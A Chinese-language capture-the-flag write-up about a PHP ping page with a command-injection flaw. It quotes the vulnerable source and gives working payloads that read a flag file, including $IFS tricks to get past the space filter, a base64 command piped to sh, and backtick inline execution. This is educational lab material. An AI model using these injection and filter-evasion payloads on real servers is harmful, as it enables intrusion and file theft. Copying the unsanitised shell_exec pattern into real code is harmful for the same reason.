PING命令執行漏洞-繞過空格
目錄
PING命令執行漏洞-繞過空格
- 我們看到
/?ip=
可以試一下本地ip
看到這裡我們就能知道命令執行方法大概就是加上管道符「|」或者「;」
-
我們列出目錄下面的文件
/?ip=127.0.0.1;ls
我們發現有flag.php和index.php兩個文件,嘗試讀取flag.php
發現空格被過濾了(fxck your space就是過濾空格的意思!)
這邊介紹一下繞過空格的方法大概有以下幾種
$IFS
${IFS}
$IFS$1 //$1改成$加其他數字貌似都行
$IFS$9 (Ubuntu下測試通過)後面加個$與{}類似,起截斷作用,$9是當前系統shell進程第九個參數持有者,始終為空字元串,如cat$IFS2$9flag.php
<
<>
{cat,flag.php} //用逗號實現了空格功能
%20
%09
ps:有時會禁用cat:
解決方法是使用tac反向輸出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag
然後我們嘗試用 ${IFS} 繞過空格,發現{}被ban
然後我們在嘗試用 $IFS$1 繞過空格,發現flag被ban
接著我們嘗試讀取一下index.php的內容
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
過濾了很多標點,空格,bash,flag,那麼網上搜索有這幾種做法:
cat fl* 利用*匹配任意 不行
echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
ca\t fl\ag.php 不行
cat fl''ag.php 不行
解決方法:
方法一:用變數拼接:我們發現源碼中有一個$a變數可以覆蓋
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
方法二:過濾bash?那就用sh。sh的大部分腳本都可以在bash下運行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
方法三:內聯執行的做法
?ip=127.0.0.1;cat$IFS$9`ls`
內聯,就是將反引號內命令的輸出作為輸入執行
參考連接:
//www.jianshu.com/p/fd7f9fcc9333